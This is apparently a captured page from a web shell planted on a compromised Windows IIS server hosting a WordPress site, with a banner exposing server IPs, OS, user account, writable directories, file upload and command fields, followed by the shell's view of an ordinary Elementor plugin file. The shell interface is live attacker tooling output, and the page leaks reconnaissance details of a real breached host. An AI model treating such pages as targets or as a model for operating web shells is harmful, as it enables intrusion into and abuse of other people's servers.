403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/aecm.ihu.gr/wp-content/plugins/elementor/modules/kit-elements-defaults/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/aecm.ihu.gr/wp-content/plugins/elementor/modules/kit-elements-defaults/usage.php
<?php
namespace Elementor\Modules\KitElementsDefaults;

use Elementor\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Usage {

	public function register() {
		add_filter( 'elementor/tracker/send_tracking_data_params', function ( array $params ) {
			$params['usages']['kit']['defaults'] = $this->get_usage_data();

			return $params;
		} );
	}

	private function get_usage_data() {
		$elements_defaults = $this->get_elements_defaults() ?? [];

		return [
			'count' => count( $elements_defaults ),
			'elements' => array_keys( $elements_defaults ),
		];
	}

	private function get_elements_defaults() {
		$kit = Plugin::$instance->kits_manager->get_active_kit();

		return $kit->get_json_meta( Module::META_KEY );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit